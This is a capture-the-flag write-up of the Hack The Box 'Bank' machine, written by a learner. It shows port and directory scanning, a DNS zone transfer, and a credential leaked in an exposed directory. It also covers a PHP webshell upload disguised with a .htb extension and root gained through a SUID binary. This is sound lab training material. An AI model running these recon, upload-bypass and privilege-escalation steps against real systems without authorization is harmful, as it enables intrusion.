Here’s the first HTB machine I’ve tried to hack for a while. It’s going to be a bumpy road, so here’s my writeup, mistakes and all.
Let’s begin!
Enumeration
As usual, I’ll start by running a quick NMAP scan of the box, using the -F flag. I’ll start with these top ports so I can do other enumeration if anything is open while I run a longer NMAP scan on the rest of the ports on the box.
┌──(kali㉿kali)-[~]
└─$ nmap -F 10.10.10.29
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-16 17:27 UTC
Nmap scan report for 10.10.10.29
Host is up (0.090s latency).
Not shown: 97 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Interesting to see port 53 open here. With DNS running, I have a hung that there may be some subdomains open. I’ll run another scan for all ports on the box, then update my DNS records.
┌──(kali㉿kali)-[~/Documents/htb/bank]
└─$ nmap -p- -T4 10.10.10.29 -oN bank_all_ports.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-16 17:32 UTC
Nmap scan report for 10.10.10.29
Host is up (0.088s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 55.17 seconds
So, nothing else on here it seems. One more scan, using the -A flag to get version information and other details:
┌──(kali㉿kali)-[~/Documents/htb/bank]
└─$ nmap -p22,53,80 -A -T4 10.10.10.29 -oN bank_deep.txt 2 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-16 17:36 UTC
Nmap scan report for 10.10.10.29
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.79 seconds
Most interesting thing here: we’re running Apache 2.4.7.
Checking this out in the browser, this is in fact true:
If my hunch is correct, we’ll find some more interesting stuff on some subdomains of this page. Let’s do a scan.
First, let’s try a zone transfer:
┌──(kali㉿kali)-[~]
└─$ dig axfr @10.10.10.29 bank.htb.local
; <<>> DiG 9.16.11-Debian <<>> axfr @10.10.10.29 bank.htb.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
No dice there.
However, it looks like I’ve made a mistake here already. The domain should be bank.htb
, not bank.htb.local
. Whoops!
I’ve adjusted my etc/hosts
file accordingly and reloaded the page.
Promising!
I had a gobuster scan going, which I’ll restart.
──(kali㉿kali)-[~]
└─$ gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x php,html,js,json,txt,conf,config | tee Documents/htb/bank/gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://bank.htb
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,js,json,txt,conf,config,php
[+] Timeout: 10s
===============================================================
2021/05/16 18:33:52 Starting gobuster
===============================================================
/index.php (Status: 302)
/login.php (Status: 200)
/support.php (Status: 302)
/uploads (Status: 301)
/assets (Status: 301)
/logout.php (Status: 302)
/inc (Status: 301)
Progress: 10120 / 81644 (12.40%)^
Also promising! Let’s make a note here: given that there’s an uploads directory here, we can perhaps try to sign in as a user and upload a shell.
Doing some more scans; here are our results from Nikto.
┌──(dhm㉿blood)-[~/OVPN]
└─$ nikto -h http://bank.htb
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.29
+ Target Hostname: bank.htb
+ Target Port: 80
+ Start Time: 2021-05-16 12:30:51 (GMT-7)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Cookie HTBBankAuth created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: login.php
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OSVDB-3233: /icons/README: Apache default file found.
^B1+ /login.php: Admin login page/section found.
+ 7786 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2021-05-16 12:43:38 (GMT-7) (767 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
In the meantime I’ve also looked at the contents of some of these directories. Uploads is only open to authorized users. Nothing in /inc except some php scripts that aren’t returning anything to us. Assets just includes css and some JS and Jquery files used for styling.
Also worth noting that our zone transfer works out a lot better when we fix the hostname:
┌──(dhm㉿blood)-[~/htb/bank]
└─$ dig axfr @10.10.10.29 bank.htb
; <<>> DiG 9.16.11-Debian <<>> axfr @10.10.10.29 bank.htb
; (1 server found)
;; global options: +cmd
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.10.10.29
ns.bank.htb. 604800 IN A 10.10.10.29
www.bank.htb. 604800 IN CNAME bank.htb.
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
;; Query time: 83 msec
;; SERVER: 10.10.10.29#53(10.10.10.29)
;; WHEN: Sun May 16 13:05:54 PDT 2021
;; XFR size: 6 records (messages 1, bytes 171)
Let’s keep the name Chris in mind.
Meanwhile, let’s also expand the scope of GoBuster and run a check with the medium size wordlist. This turns up another open directory on the site under the name balance-transfer.
The /balance-transfer
directory shows user transactions with encrypted usernames and passwords. However, some close examination shows that one of these files is shorter than the others:
Let’s open this file up:
└─$ cat 68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+
===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===
Now we’re getting somewhere!
Exploitation
Now let’s log in with this email and password:
Cool! Now that we’re in the account, let’s get to the support page and try to upload a shell.
Given that we’re trying to exploit an Apache server, trying to upload a php webshell seems like a solid bet.
Naturally, the support tab only lets us upload images. If we change the extension of our php webshell to png, we can upload it without issues. Next I’ll try to intercept the upload of the shell in purp and pull off the png extension once the file type check runs.
No luck after trying this however. If we actually examine the response text, we see a comment that says the developer has allowed file uploads with extenstion .htb
to run as PHP files, which can give us an opportunity to run our shell. Lo and behold:
Great! Let’s get a reverse shell listener and connect over our terminal:
Privilege Escalation
Poking around in here, I’m curious to see the content of the PHP scripts in the inc
folder.
This sql password seems interesting, but the limited shell I’m using can’t launch mysql, and this password is unable to login for users root
and chris
.
Another check for privesc purposes: Let’s look for files with the SUID bit set:
find / -perm -4000 2>/dev/null
/var/htb/bin/emergency
If we run this, we actually end up getting root!
ls -la /var/htb/bin/emergency
-rwsr-xr-x 1 root root 112204 Jun 14 2017 /var/htb/bin/emergency
/var/htb/bin/emergency
whoami
root
Conclustion
This was an easy-rated box, and the steps to getting root seem pretty straightforward in retrospect: information disclosure from the webpage, uploading unchecked php
files to the support page, and enumerating for SUID executables. I ran into some roadblocks by being impatient with my directory scans at first, so worth noting to try to continue scanning with larger wordlists while taking other efforts to enumerate the site. A fun box, excited to apply these lessons to the next one!